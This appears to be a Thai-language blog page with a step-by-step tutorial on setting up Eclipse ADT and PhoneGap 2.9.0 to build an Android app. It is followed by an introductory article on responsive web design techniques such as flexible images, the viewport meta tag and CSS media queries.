    1. download JRE
    http://www.oracle.com/technetwork/java/javase/downloads/jdk7-downloads-1880260.html
    32bit ได้ไฟล์สำหรับติดตั้ง jdk-7u25-windows-i586.exe
    (64bit ได้ไฟล์สำหรับติดตั้ง jdk-7u25-windows-x64.exe)
    รันไฟล์ดังกล่าวเพื่อติดตั้งลงในวินโดวส์

    2. download ADT
    http://developer.android.com/sdk/index.html
    32bit ได้ไฟล์ที่ zip ไว้คือ adt-bundle-windows-x86-20130729.zip
    (64bit ได้ไฟล์ที่ zip ไว้คือ adt-bundle-windows-x86_64-20130717.zip)
    แตกไฟล์ดังกล่าวออกมาแล้ว
    32bit ได้ไดเรกทอรี adt-bundle-windows-x86-20130729 ไว้ที่ C:\
    (64bit ได้ไดเรกทอรี adt-bundle-windows-x86_64-20130717 ไว้ที่ C:\)
    สร้าง shortcut ไปยังไฟล์ชื่อ eclipse.exe ในไดเรกทอรี eclipse ไว้บน Desktop
    ทดสอบรันโปรแกรม eclipse
    ตั้งชื่อ workspace ไว้ที่ C:\phonegap
    phonegap-000
    3. สร้าง Andriod Device ในโปรแกรม Java – ADT
    เมนู Windows > Android Virtual Device Manager
    แท็บ Android Virtual Devices คลิก New…
    ADV Name: ตั้งชื่อ ADV-7-inch
    Device: เลือก Nexus 7
    Target: เลือก Android 4.3 – API Level 18
    (adt-bundle-windows-x86-20130729.zip จะได้ Android 4.3 – API Level 18)
    Front Camera: None
    RAM: 768
    ทดสอบเปิด ADV-7-inch คลิก Start แล้วรอ ค่อนข้างนาน
    phonegap-001

    4. สร้าง New Android Application
    File > New > New Android Application
    ตั้งชื่อว่า phonegappsu
    ที่เหลือใช้ค่า default
    phonegap-002
    หน้าต่อไป Create Project in Workspace
    ตั้ง Location เป็นชื่อ C:\phonegap\phonegappsu
    phonegap-003
    หน้าต่อไป ใช้ค่า default
    phonegap-004
    หน้าต่อไป ใช้ค่า Blank Activity
    phonegap-005
    หน้าต่อไป ใช้ค่า default (Activity Name: MainActivity)
    phonegap-006
    คลิก Finish แล้วจะได้หน้าต่างของรายละเอียดเยอะแยะ
    phonegap-007

    5. download phonegap
    http://phonegap.com/install/ เลือก PhoneGap2.9.0
    ได้ไฟล์ที่ zip ไว้คือ phonegap-2.9.0.zip
    แตกไฟล์ดังกล่าวออกมาแล้ว ได้ไดเรกทอรี phonegap-2.9.0

    6. ที่ Windows Explorer เข้าไปในไดเรกทอรี phonegap-2.9.0
    ก็อปปี้เฉพาะไดเรกทอรี lib\android\example\assets\www
    phonegap-008
    ที่รายการด้านซ้ายของโปรแกรม ADT คลิกขวาที่ phonegappsu > assets แล้ววาง www ไว้

    ก็อปปี้เฉพาะไดเรกทอรี lib\andriod\xml
    phonegap-009
    ที่รายการด้านซ้ายของโปรแกรม ADT คลิกขวาที่ phonegappsu > res แล้ววาง xml ไว้

    ก็อปปี้เฉพาะไดเรกทอรี lib\android\cordova­2.9.0.jar
    phonegap-010
    ที่รายการด้านซ้ายของโปรแกรม ADT คลิกขวาที่ phonepagpsu > libs แล้ววาง cordova­2.9.0.jar ไว้
    รวมแล้วจะได้หน้าตาประมาณนี้
    phonegap-011

    7. แก้ไขไฟล์  MainActivity.java ( ข้อนี้ต้องระวังการ copy แล้ว paste เครื่องหมายคำพูด และ ; )
    ที่รายการด้านซ้ายของโปรแกรม ADT ใต้ Project ที่สร้าง
    phonegappsu > src > com.example.phonegappsu> MainActivity.java
    โดยคลิกขวา > ใช้คำสั่ง Open With > Text Editor
    (1)แก้ไขบรรทัดเดิม public class MainActivity extends Activity
    เป็น public class MainActivity extends DroidGap
    (2)แก้ไขชุดบรรทัด import เดิมดังนี้
    ลบบรรทัด import android.app.Activity;
    เพิ่มบรรทัด import org.apache.cordova.*;
    (3)แก้ไขบรรทัดที่มีคำว่า protected เป็น public
    (4)ใส่ comment บรรทัด //setContentView(R.layout.activity_main);
    (5)แล้วเพิ่มบรรทัด super.loadUrl(“file:///android_asset/www/index.html”);
    จะได้ประมาณนี้

    phonegap-012

    code

    package com.example.phonegap;
    
    import android.os.Bundle;
    import org.apache.cordova.*;
    import android.view.Menu;
    
    public class MainActivity extends DroidGap {
    
        @Override
        public void onCreate(Bundle savedInstanceState) {
            super.onCreate(savedInstanceState);
            //setContentView(R.layout.activity_main);
            super.loadUrl("file:///android_asset/www/index.html");
        }
    
    
        @Override
        public boolean onCreateOptionsMenu(Menu menu) {
            // Inflate the menu; this adds items to the action bar if it is present.
            getMenuInflater().inflate(R.menu.main, menu);
            return true;
        }
        
    }
    
    

    8. ต้องแก้ไข AndroidManifest.xml
    โดยคลิกขวา > ใช้คำสั่ง Open With > Text Editor
    ใส่ Permission Tag ดังนี้

    code

    <uses-permission android:name="android.permission.VIBRATE"/> 
    <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/> 
    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/> 
    <uses-permission android:name="android.permission.ACCESS_LOCATION_EXTRA_COMMANDS"/> 
    <uses-permission android:name="android.permission.READ_PHONE_STATE"/> 
    <uses-permission android:name="android.permission.INTERNET"/> 
    <uses-permission android:name="android.permission.RECEIVE_SMS"/> 
    <uses-permission android:name="android.permission.RECORD_AUDIO"/> 
    <uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS"/> 
    <uses-permission android:name="android.permission.READ_CONTACTS"/> 
    <uses-permission android:name="android.permission.WRITE_CONTACTS"/> 
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/> 
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" /> 
    <uses-permission android:name="android.permission.CAMERA"/>

    ไว้ก่อนบรรทัดปิด Tag </manifest>

    9.  ติดตั้ง jquery.mobile
    download phonegapcomponent (jquery.mobile)
    เอาจาก facebook group ชื่อ phonegap for psu เลือก files (สามารถโหลดจาก http://jquerymobile.com/ ได้เลย)
    ได้ไฟล์ที่ zip ไว้คือ PhoneGapComponent.zip
    แตกไฟล์ดังกล่าวออกมาแล้ว ได้ไดเรกทอรี PhoneGapComponent
    ที่ Windows Explorer เข้าไปในไดเรกทอรี PhoneGapComponent
    ก็อปปี้เฉพาะไดเรกทอรี css และ js
    ที่รายการด้านซ้ายของโปรแกรม ADT คลิกขวาที่ phonegappsu > assets > www แล้ววาง css กับ js ไว้

    10. ทดสอบสร้าง Application จากตัวอย่าง index.html ที่ให้มา
    จะได้ไฟล์ phonegappsu.apk
    ที่รายการด้านซ้ายของโปรแกรม Eclipse ใต้ Project ที่สร้าง
    assets > www > โดยคลิกขวาที่ไฟล์  index.html > ใช้คำสั่ง Open With > Text Editor
    สั่ง Run
    phonegap-014

    11. ในข้อถัดไปเป็นตัวอย่างใน workshop เอาไฟล์ตัวอย่างจากที่นี่
    https://sharedrive.psu.ac.th/public.php?service=files&t=04facfa02dc0204fadbf00925d3c431c )

    12. ทดสอบด้วยตัวอย่างที่ 1 ชื่อ example1.html
    (ตัวอย่างนี้จะเปิด dialog หลังจากเลือกเมนู และบางเมนูเมื่อเลือกก็จะซ่อนข้อความ)
    นำไฟล์ตัวอย่าง example1.html ไปวางไว้ที่ phonegappsu > www
    phonegap-015
    แก้ไขไฟล์  MainActivity.java
    ที่รายการด้านซ้ายของโปรแกรม Eclipse ใต้ Project ที่สร้าง
    phonegappsu > src > com.example.phonegappsu> MainActivity.java
    แก้ไขบรรทัด super.loadUrl(“file:///android_asset/www/index.html”);
    เป็น super.loadUrl(“file:///android_asset/www/example1.html”);
    รันโปรเจกต์ ได้ผลแสดงบน ADV
    phonegap-016

    13. ทดสอบด้วยตัวอย่างที่ 2 ชื่อ example2.html
    (ตัวอย่างนี้จะมีปุ่ม back ให้ย้อนกลับได้)
    นำไฟล์ตัวอย่าง example2.html ไปวางไว้ที่ phonegappsu > www
    phonegap-017
    แก้ไขไฟล์  MainActivity.java
    ที่รายการด้านซ้ายของโปรแกรม Eclipse ใต้ Project ที่สร้าง
    phonegappsu > src > com.example.phonegappsu> MainActivity.java
    แก้ไขบรรทัด super.loadUrl(“file:///android_asset/www/index.html”);
    เป็น super.loadUrl(“file:///android_asset/www/example2.html”);
    รันโปรเจกต์ ได้ผลแสดงบน ADV
    phonegap-018

    14. ทดสอบด้วยตัวอย่างที่ 3 ชื่อ dbuser.html
    (ตัวอย่างนี้ป้อนชื่อ นามสกุล เพศ เก็บลง sqlite database บน android และแสดงรายการ
    ขอบคุณกิตติพัฒน์ อุบลกาญจน์ที่เป็นเจ้าของต้นฉบับไฟล์ที่แก้ไปเยอะจากที่วิทยากรให้ลองทำ)
    นำไฟล์ตัวอย่าง dbuser.html ไปวางไว้ที่ phonegappsu > www
    phonegap-019
    แก้ไขไฟล์  MainActivity.java
    ที่รายการด้านซ้ายของโปรแกรม Eclipse ใต้ Project ที่สร้าง
    phonegappsu > src > com.example.phonegappsu> MainActivity.java
    แก้ไขบรรทัด super.loadUrl(“file:///android_asset/www/index.html”);
    เป็น super.loadUrl(“file:///android_asset/www/dbuser.html”);
    รันโปรเจกต์ ได้ผลแสดงบน ADV
    phonegap-020

    15. หากต้องการทดสอบบน Android Smartphone เครื่องจริง ก็เอาไฟล์ phonegappsu.apk ไปใส่แล้วติดตั้ง
    ซึ่งไฟล์อยู่ที่ phonegappsu > bin

    ลองทำตามดูนะครับ

  • แนวทางการพัฒนาเว็บแบบ Responsive Web Design

                เนื่องด้วยปัจจุบันความก้าวหน้าทางเทคโนโลยีและการให้บริการอินเตอร์เน็ตความเร็วสูงมีการพัฒนาอย่างต่อเนื่อง จึงส่งผลให้การเข้าถึงข้อมูลข่าวสารเป็นไปได้อย่างรวดเร็วและทั่วถึง ทำให้เหล่าผู้ผลิตรวมถึงนักพัฒนา พร้อมใจกันพัฒนาซอร์ฟแวร์และอุปกรณ์ต่างๆ ให้สามารถใช้งานอินเตอร์เน็ตได้ ไม่ว่าจะเป็นโทรศัพท์ Tablet หรือแม้แต่โทรทัศน์เองก็สามารถใช้งานอินเตอร์เน็ตได้เช่นกัน นั่นหมายความว่าปัจจุบันมีอุปกรณ์มากมายที่สามารถใช้งานอินเตอร์เน็ต ซึ่งมีคุณสมบัติที่แตกต่างกันออกไป เช่น ความกว้าง ความสูง ความละเอียดหน้าจอ และอื่นๆ อีกมากมาย

               เมื่อพูดถึงการออกแบบเว็บไซต์เพื่อให้สามารถรองรับการใช้งานกับทุกอุปกรณ์ คนส่วนใหญ่มักมองว่าจำเป็นต้องใช้ต้นทุนในการผลิตที่สูงขึ้น เพื่อใช้ในการออกแบบเว็บไซต์แต่ละเวอร์ชั่นให้รองรับกับการใช้ของอุปกรณ์ที่ มีความลหากหลายได้ ซึ่งความจริงแล้วนั่นอาจเป็นแนวคิดที่ไม่ถูกต้องนัก เพราะ Responsive Web Design คือเทคโนโลยีการออกแบบเว็บไซต์ที่ช่วยให้คุณสามารถสร้างเว็บไซต์ที่รองรับทุกขนาดหน้าจอรวมถึงทุกอุปกรณ์สื่อสารด้วยต้นทุนที่ต่ำกว่า เวลาที่สั้นกว่า และประสิทธิภาพที่สูงกว่าการผลิตเว็บไซต์แยกหลายเวอร์ชั่น

    โดยในบทความนี้จะพูดถึงแนวคิดและแนวทางการพัฒนา Responsive Web Design แบบเบื้องต้นที่ผู้เขียนได้อ่านและรวบรวมมาให้ผู้ที่สนใจนำไปใช้ประโยชน์ได้ไม่มากก็น้อย

    Flexible Images
    ปัญหาที่เกิดขึ้นบ่อยในการออกแบบเว็บไซต์แบบ Responsive Web คือ ปัญหาเกี่ยวกับการแสดงผลรูปภาพบนอุปกรณ์ที่มีขนาดแตกต่างกัน ซึ่งปัจุบันมีเทคนิคมากมายที่ช่วยในการจัดการปัญหาดังกล่าว โดยเทคนิคที่ได้รับความนิยมมากคือนำ CSS มาช่วยในการออกแบบการแสดงผลดังกล่าวเนื่องจากสามารถทำได้ง่าย และไม่ซับซ้อน ดังนี้

    img { max-width: 100%; } 

    จากตัวอย่างข้างต้น เป็นการกำหนดขนาดของรูปภาพให้มีความกว้าง 100% แทนการกำหนดขนาดของรูปภาพแบบตายตัว (width: 100px) ทำให้การแสดงผลของรูปภาพจะขึ้นอยู่กับขนาดของหน้าจออุปกรณ์หรือความกว้างของบราวเซอร์แทน

    ข้อเสีย

    –         บราวเซอร์ Internet Explorer ยังไม่รองรับ properties ที่ชื่อว่า max-width  แต่สามารถแก้ไขโดยการใช้ properties ที่ชื่อว่า width แทน

    –          ในบราวเซอร์เวอร์ชั่นเก่าๆ ยังไม่รองรับเทคนิคการทำงานดังกล่าวเช่นกัน ซึ่งสามารถแก้ไขโดยการใช้ JavaScript ช่วยในการทำงานแทนได้

    แม้วิธีข้างต้นจะเป็นการแก้ปัญหาการยืดหยุ่นของภาพได้ดีและรวดเร็ว แต่สิ่งที่ไม่ควรมองข้ามคือ ความละเอียดของภาพและเวลาในการโหลดรูปภาพ เนื่องจากในปัจจุบัน นิยมใช้งานเว็บไซต์ผ่านทาง Smartphone หรือ Tablet มากขึ้น การโหลดภาพที่มีขนาดใหญ่และความละเอียดสูงจะทำให้เสียเวลาและใช้พื้นที่โดยไม่จำเป็น
    Filament Group’s Responsive Images
    เป็นเทคนิค ที่ไม่เน้นการปรับขนาดของรูปภาพ แต่ใช้วิธีเลือกรูปภาพที่มีขนาดเหมาะสมกับอุปกรณ์มาแสดงแทน ซึ่งช่วยแก้ปัญหาการโหลดรูปภาพที่มีขนาดใหญ่มาแสดงผลในอุปกรณ์ที่มีขนาดเล็ก และลดการใช้พื้นที่โดยไม่จำเป็นได้

    โดยการทำงานด้วยเทคนิคดังกล่าวจำเป็นที่จะต้องใช้ไฟล์บางตัว ซึ่งสามารถโหลดได้จาก Github

    ซึ่งมีขั้นตอนดังนี้

    1) โหลดไฟล์ที่จำเป็นตอนใช้งาน ซึ่งได้แก่  JavaScript, ไฟล์ .htaccess และไฟล์รูปภาพทั้งขนาดเล็กและขนาดใหญ่

    2) ทำการกำหนดคุณสมบติของรูปภาพให้อ้างอิงไปยังไฟล์รูปภาพนั้นๆทั้งขนาดเล็กและขนาดใหญ่ โดยวิธีการอ้างอิงของรูปภาพขนาดเล็กจะต้องอ้างอิงผ่าน attribute  SRC และรูปภาพขนาดใหญ่จะอ้างอิงผ่าน attribute data-fullsrc

    <img src="smallRes.jpg" data-fullsrc="largeRes.jpg">

    ซึ่งแท็ก data-fullsrc เป็นแท็กที่เพิ่มเข้ามาใน HTML5 เพื่อใช้ในการโหลดรูปภาพกรณีที่หน้าจอมีความกว้างเกิน 480 pixels จากตัวอย่าง กรณีที่เปิดบนอุปกรณ์ที่มีขนาดความกว้างไม่เกิน 480 จะทำการโหลดภาพ smallRes.jpg ขึ้นมาแสดง แต่ในกรณีที่หน้าจอกว้างเกิน 480 จะทำการโหลดภาพ largeRes.jpg ขึ้นมาแสดง ตัวอย่าง
    Stop iPhone Simulator Image Resizing

    ปัจจุบันอุปกรณ์ของค่าย Apple ไม่ว่าจะเป็น IPhone(เวอร์ชั่น 4 ขึ้นไป) หรือ IPad(เวอร์ชั่น 2 ขึ้นไป) ได้นำเทคโนโลยีที่ช่วยในการแสดงผลของหน้าจอได้ดีขึ้นซึ่งมีชื่อเรียกว่า Retina Display ทำให้การแสดงผลของ Responsive Web บนอุปกรณ์ดังกล่าวไม่ได้ขนาดที่เหมาะสมกับที่ได้ทำการออกแบบไว้ ซึ่งมีเทคนิคในการแก้ไขปัญหาดังกล่าวโดยการนำค่า pixels มาเป็นตัวช่วยในการแก้ปัญหา ซึ่งจะขอธิบายในส่วนของเรื่อง pixels ให้ผู้อ่านได้เข้าใจก่อน

    pixels คือหน่วยที่ใช้วัดค่าความละเอียดของรูปภาพหรือหน้าจออุปกรณ์  pixels แบ่งได้  3 แบบด้วยกัน คือ Physical Pixels, CSS Pixels และ Device Pixels

    Physical Pixels คือ จำนวน pixels จริงๆ ตาม spec ของ Device นั้นๆ  เช่น iPhone3 เท่ากับ 320×480 ส่วน iPhone4 เท่ากับ 640×960 เป็นต้น

    ส่วน CSS Pixels นั้นเป็นส่วนที่ใช้ใน CSS declarations ตัวอย่าง เรากำหนด width:320px หรือ font-size:16px ค่า pixels ในส่วนนี้จะหมายถึง CSS Pixels ซึ่งโดยปกติแล้ว CSS Pixels จะมีค่าเท่ากับ Physical Pixels ถ้าเราไม่ได้ Zoom หน้าจอ แต่ถ้าเรา Zoom เข้า ภาพจะขยายใหญ่ขึ้น นั่นเป็นเพราะว่าเว็บบราวเซอร์จะไปขยาย CSS Pixels ให้มีขนาดใหญ่ขึ้น ในทางกลับกัน ถ้าเรา Zoom ออก CSS Pixels ก็จะมีขนาดเล็กลง ส่งผลให้ภาพที่ได้มีขนาดเล็กลง ซึ่งนี่ก็เป็นหลักการเดียวกับการเปลี่ยน Resolution ของหน้าจอ PC ครับ สมมติหน้าจอเรามี Physical Pixels เป็น 1280×1024 หากเราเปลี่ยน Resolution เป็น 1024×768 สิ่งที่เปลี่ยนไปก็คือ CSS Pixels นั่นเองครับ

    สุดท้ายคือ Device Pixels ในสมัยก่อน Device Pixels จะมีค่าเท่ากับ Physical Pixels เช่น iPhone3 จะมี Physical Pixels และ Device Pixels เท่ากันคือ 320×480 แต่ต่อมา iPhone4 ได้ปรับปรุงหน้าจอให้มีความละเอียดมากขึ้น หรือที่เรียกว่า Retina Display ซึ่งจะทำให้ iPhone4 มี Physical Pixels เพิ่มขึ้นเป็น 2 เท่า คือ 640×960 ซึ่งหมายความว่า เว็บที่แสดงผลได้ดีใน iPhone3 กลับมีขนาดเล็กลงใน iPhone4 ทั้งๆ ที่จริงๆ แล้ว ขนาดหน้าจอของ iPhone3 และ iPhone4 นั้นเท่ากัน ปัญหานี้สามารถแก้ง่ายๆ ด้วย Device Pixels ครับ เนื่องจาก Device Pixels นั้นเป็นเหมือน Pixels จำลอง ที่จะช่วยให้ application สามารถกำหนดขนาดขององค์ประกอบต่างๆ ได้ตรงกับความเหมาะสมในมุมมองของผู้ใช้งาน ซึ่งค่านี้ไม่ได้เพิ่มตาม Physical Pixels แต่จะเพิ่มตามขนาดของหน้าจอ(Screen size) ครับ

    โดยวิธีแก้ไขปัญหาคือการอ้างอิง Meta Tag ดังต่อไปนี้ในหน้าเว็บไซต์ของเรา

    <meta name="viewport" content="width=device-width; initial-scale=1.0">

    โค็ด html ด้านบน เป็นการกำหนดให้ viewport ของเราใช้ค่า Device Pixels แทน CSS Pixels และยังกำหนดให้ระดับการซูมเบื้องต้นเป็น 100% อีกด้วย อ่านเพิ่มเติม
    Custom Layout Structure
    ในส่วนนี้เราจะกล่าวถึงเรื่องของการจัดวางโครงสร้างของ Layout หรือการจัดลำดับความสำคัญของ element ต่างๆ ซึ่งเป็นสิ่งจำเป็นในการทำงานของเว็บแบบ Responsive โดยที่ไฟล์ css นั้นไฟล์หลัก จะมีการประกาศในส่วนของ element หลัก หรือ element ที่ใช้ร่วมกันทั้งหน้า ไว้ส่วนบนสุดของไฟล์ ตามมาด้วย ลำดับของ element ดังนี้ #wrapper–> #content–> #sidebar–> #nav และสามารถสร้างไฟล์ css สำหรับรองรับอุปกรณ์ขนาดเล็ก ให้สืบทอดคุณสมบัติมาจากไฟล์หลักอีกชั้นนึง

    ตัวอย่าง การเรียง Element ที่ไม่เหมาะสม คือมีการวางตำแหน่งของ Sidebar ก่อน content และจัดเรียงแบบ float: right เพื่อให้วางอยู่ในตำแหน่งขวามือของหน้าจอ ซึ่งจะเกิดปัญหากับการใช้งานบนอุปกรณ์ Smartphone ที่มีพื้นที่เพียง คอลัมน์เดียว ส่งผลให้ตำแหน่ง Sidebar เปลียนไปจากเดิมเป็นอยู่ในตำแหน่งบนสุดก่อนเข้าถึงเนื้อหาในส่วนของ content ซึ่งทำให้ผู้ใช้ไม่สะดวกต่อการใช้งานและการเข้าถึงเนื้อหาในเว็บไซต์ ดังนั้นการวางลำดับ Element ให้ถูกต้องถือเป็นเรื่องที่สำคัญอีกอย่างหนึ่งในการออกแบบเว็บไซต์
    Showing or Hiding Content
    เป็นอีกหนึ่งเทคนิคในการออกแบบ Responsive Web ช่วยในการจัดการเกี่ยวกับข้อความต่างๆในแต่ละ content เพราะในการแสดงผลขนาดใหญ่ จะประกอบไปด้วย content ข้อความหลายๆส่วน เมื่อนำมาแสดงผลในหน้าจออุปกรณ์ขนาดเล็ก contentที่เยอะจนเกินไปทำให้ผู้ใช้งานไม่สะดวกในการอ่านข้อความ จึงจำเป็นที่ต้องทำการซ่อน-แสดงเฉพาะ content ที่สำคัญๆเท่านั้น

    Display: none;

    เป็นคุณสมบัติที่มีมาในแท็กต่างๆของ HTML ใช้ในการซ่อน-แสดงแท็กต่างๆได้ โดยนำมาประยุกต์ใช้กับ media query ดังนี้

    หน้าจอหลัก

    <link href="style.css " rel="stylesheet" />
        <link href="mobile.css " rel="stylesheet" media="screen and (max-width: 600px)" />
    <p><a href="#">Left Sidebar Content</a> | <a href="#">Right Sidebar Content</a></p>
    
    <div id="content">
    <h2>Main Content</h2>
    </div>
    
    <div id="sidebar-left">
    <h2>A Left Sidebar</h2>
    
    </div>
    <div id="sidebar-right">
    <h2>A Right Sidebar</h2>
    </div>

    โค็ดในไฟล์ตัวหลัก style.css

    #content{
              width: 54%;
              float: left;
              margin-right: 3%;
    }
    #sidebar-left{
              width: 20%;
              float: left;
              margin-right: 3%;
    }
    #sidebar-right{
              width: 20%;
              float: left;
    }
    .sidebar-nav{display: none;}

    โค็ดในไฟล์ mobile.css

    #content{
              width: 100%;
    }
    #sidebar-left{
              display: none;
    }
    #sidebar-right{
              display: none;
    }
    .sidebar-nav{display: inline;}

    จากโค็ดด้านบน เมื่อมีการเรียกใช้งานในส่วนของหน้าจอหลัก จะมีการอ้างอิงไปยัง style.css กรณีที่หน้าจอแสดงผลเป็นคอมพิวเตอร์ จะทำการซ่อนในส่วนของ .sidebar-nav และแสดงผล sidebar-left กับ sidebar-right แต่ในกรณีที่เปิดด้วยอุปกรณ์มือถือ จะอ้างอิงไปยัง mobile.css ซึ่งการแสดงผลจะสลับกัน คือ แสดงในส่วนของ .sidebar-nav และทำการซ่อน sidebar-left กับ sidebar-right

    สิ่งที่ควรคำนึงก่อนออกแบบเว็บให้เป็น Responsive

    แน่นอนว่า responsive design นั้น  ไม่ได้มีแค่การเขียน CSS Media Query อย่างเดียว  แนวคิดการออกแบบหน้าตาเว็บไซต์ให้สามารถใช้งานได้บนทุกอุปกรณ์นั้นเป็นอีกข้อที่มีความจำเป็นอย่างยิ่ง

    1. ออกแบบโดยคำนึงถึงอุปกรณ์พกพาเป็นที่ตั้ง

    เราควรจะออกแบบเว็บโดยคำนึงถึงอุปกรณ์พกพาต่างๆ (เช่นโทรศัพท์มือถือและTablet) เป็นที่ตั้ง  โดยให้ Feature ที่สำคัญบนเว็บ  สามารถแสดงผลและใช้งานได้เป็นอย่างดีบนอุปกรณ์พกพา  แล้วค่อยคิดจัดวางรูปแบบและปรับปรุงให้ใช้งานได้บนคอมพิวเตอร์ในภายหลัง

    อีกอย่างที่ต้องคำนึงถึงคือ  Feature ที่คนเข้าชมสามารถใช้งานได้คอมพิวเตอร์  เขาก็ต้องการใช้มันบนโทรศัพท์เช่นกัน  ดังนั้นเมื่อปรับปรุงให้ใช้บนคอมพิวเตอร์ได้แล้ว  อย่าลืมคำนึงถึงจุดนี้ด้วย  Feature ที่เพิ่มเข้ามาบนเว็บสำหรับคอมพิวเตอร์  บนมือถือก็ควรใช้งานได้ด้วยเช่นกัน

    2. ลำดับความสำคัญของ element ต่างๆ ให้ถูกต้อง

    หลายๆ ครั้งที่เราเขียนโค็ด  โดยไม่คำนึงถึงลำดับความสำคัญของ element ต่างๆ  ตัวอย่างที่มักจะเจอกันบ่อยๆ คือ sidebar ที่บางคนเอาโค็ดของ sidebar มาไว้ก่อน content และจัดการ float:right เพื่อให้มันไปอยู่ขวามือแทน

    ปัญหามักจะเกิดขึ้นเมื่อเราทำเว็บให้เปิดได้บนมือถือ  ที่ทุกอย่างมักจะกลับไปเหลือเพียงคอลัมน์เดียว  ถึงตอนนั้นเจ้า sidebar ที่เคยอยู่ขวามือ  มันก็จะมาอยู่ข้างบนก่อนเข้าถึงเนื้อหา  ทำให้ผู้ใช้ต้องลากยาวๆ ผ่าน sidebar ไปก่อน  ถึงจะเห็นเนื้อหา  อย่างนี้ไม่ดีกับผู้ใช้แน่นอนครับ  ดังนั้น  การวางลำดับ element ต่างๆ ให้ถูกต้อง  ก็เป็นเรื่องที่สำคัญอีกเรื่องหนึ่ง

    3. บนอุปกรณ์พกพา ต้องใช้พื้นที่แสดงผลให้คุ้มค่า

    แม้ปัจจุบันมือถือจะแข่งกันแบ่งขนาดหน้าจอ (จนเริ่มแยกมือถือกับแท็บเล็ตไม่ออกแล้ว) แต่ความจริงคือพื้นที่ใช้งานบนหน้าจอมือถือก็ยังถือว่าน้อยกว่าบนคอมพิวเตอร์อยู่มาก ดังนั้นขอให้ลืมการออกแบบที่ให้ที่ว่างที่เยอะเกินไปได้เลยครับ เพราะเมื่อเว็บถูกเปิดบนโทรศัพท์ เมื่อเนื้อหาต่างๆ เหลือแค่คอลัมน์เดียว การมีที่ว่างเยอะๆ จะทำให้ผู้ใช้เหนื่อยกับการสกรอลข้ามที่ว่างนั้นจนกว่าจะถึงเนื้อหาไปเสีย เปล่าๆ (ลักษณะเดียวกันกับการจัดลำดับ element ที่ไม่ถูกต้องนั่นเอง)

    4. ลดการใช้งานไฟล์ขนาดใหญ่

    การใช้งานเว็บบนอุปกรณ์พกพา (โดยเฉพาะโทรศัพท์มือถือ) นั้นล้วนเชื่อมต่อจาก EDGE หรือ 3G กันเป็นส่วนใหญ่ ซึ่งนอกจากความเร็วที่ค่อนข้างต่ำเมื่อเทียบกับ ADSL ตามบ้านแล้ว ยังติดปัญหา Fair Usage Policy (หรือที่เรียกว่า FUP) กันอีกด้วย ทำให้ผู้ใช้หลายคนค่อนข้างเหงื่อตก เมื่อต้องเปิดเว็บที่มีขนาดเป็นสิบเม็กกะไบต์

    Media Queries

    คือตัวช่วยตรวจสอบคุณสมบัติของ Device ที่ใช้ในการเข้าเว็บไซต์ของเรา เพื่อที่ว่าเราจะได้ออกแบบและกำหนดรูปแบบการแสดงผลของเว็บไซต์เราให้เหมาะกับ Device นั้นๆคำสั่งต่างๆที่ใช้งานร่วมกับ Media Query

    Width ใช้ตรวจสอบความกว้างของพื้นที่แสดงผล โดยวัดจากความกว้างของพื้นที่ ที่ใช้แสดงผลเว็บไซต์ เช่น ความกว้างของ Browser โดยจะวัดรวมเอาพื้นที่ของ Scrollbar ด้วย (ถ้ามี)

    Height ใช้ตรวจสอบความสูงของพื้นที่แสดงผล โดยวัดจากความสูงของพื้นที่ ที่ใช้แสดงผลเว็บไซต์ เช่น ความสูงของ Browser โดยจะวัดรวมเอาพื้นที่ของ Scrollbar ด้วย (ถ้ามี)

    ตัวอย่างการเขียนตรวจสอบ width และ height

    <link rel="stylesheet" media="print and (min-width: 25cm)" href="http://…" />
    @media screen and (min-width: 400px) and (max-width: 700px) {…}

    Device-width ใช้ตรวจสอบความกว้างของอุปกรณ์แสดงผลทั้งหมด โดยวัดจากความกว้างของจออุปกรณ์ ที่ใช้แสดงผลเว็บไซต์ เช่น ถ้าจอแสดงผลอยู่ที่ 640 x 960 ก็จะวัดเอาความกว้างคือ 640px

    Device-height ใช้ตรวจสอบความสูงของชอุปกรณ์แสดงผลทั้งหมด โดยวัดจากความสูงของจออุปกรณ์ ที่ใช้แสดงผลเว็บไซต์ เช่น ถ้าจอแสดงผลอยู่ที่ 640 x 960 ก็จะวัดเอาความสูงคือ 960px

    ตัวอย่างการเขียนตรวจสอบ device-width และ device-height

    <link rel="stylesheet" media="screen and (device-height: 600px)" />
    @media screen and (device-width: 800px) { … }

    Orientation ใช้ตรวจสอบการหมุนของจอว่าอยู่ในแนวตั้ง หรือ แนวนอน โดยคำสั่งนี้จะทำงานกับ ภาพ Bitmap เท่านั้น

    ตัวอย่างการเขียนตรวจสอบ orientation

    @media all and (orientation: portrait) {…}
    @media all and (orientation: landscape) {…}

    Aspect-ratio ใช้ตรวจสอบสัดส่วน ของ ภาพ Bitmap ที่แสดงผลบนหน้าจอเท่านั้น

    Device-aspect-ratio ใช้ตรวจสอบสัดส่วนการแสดงผล ของอุปกรณ์ว่า ขณะนี้จอนั้นแสดงผล ภาพ Bitmap อยู่ที่เท่าไหร่ เช่น 4:3, 16:9, 1280:720 เป็นต้น

    ตัวอย่างการเขียนตรวจสอบ aspect-ratio และ device-aspect-ratio

    @media screen and (device-aspect-ratio: 16/9) { … }
    @media screen and (device-aspect-ratio: 32/18) { … }
    @media screen and (device-aspect-ratio: 1280/720) { … }
    @media screen and (device-aspect-ratio: 2560/1440) { … }

    Color ใช้ตรวจสอบ การแสดงสีของอุปรณ์นั้นๆ (Bits per Pixel) หากเป็นอุปกรณ์ ที่ไม่ได้แสดงผลเป็นสี ค่าจะกลายเป็น 0

    Monochrome ใช้ตรวจสอบอุปกรณ์ขาวดำ (Bits per Pixel) หากเป็นอุปกรณ์ที่แสดงผลแบบสี ค่าจะกลายเป็น 0

    ตัวอย่างการเขียนตรวจสอบ color และ monochrome

    @media all and (color) { … }
    @media all and (min-color: 1) { … }
    @media all and (monochrome) { … }
    @media all and (min-monochrome: 1) { … }
    <link rel="stylesheet" media="print and (color)" href="http://…" />  
    <link rel="stylesheet" media="print and (monochrome)" href="http://…" />

    Resolution ใช้ตรวจสอบความระเอียดของ ภาพ Bitmap ที่แสดงบนอุปกรณ์นั้นๆ

    ตัวอย่างการเขียนตรวจสอบ Resolution

    @media print and (min-resolution: 300dpi) {…}

     

    อ้างอิง :

    Responsive Web Design: What It Is and How To Use It
    พื้นฐานการทำเว็บแบบ Responsive
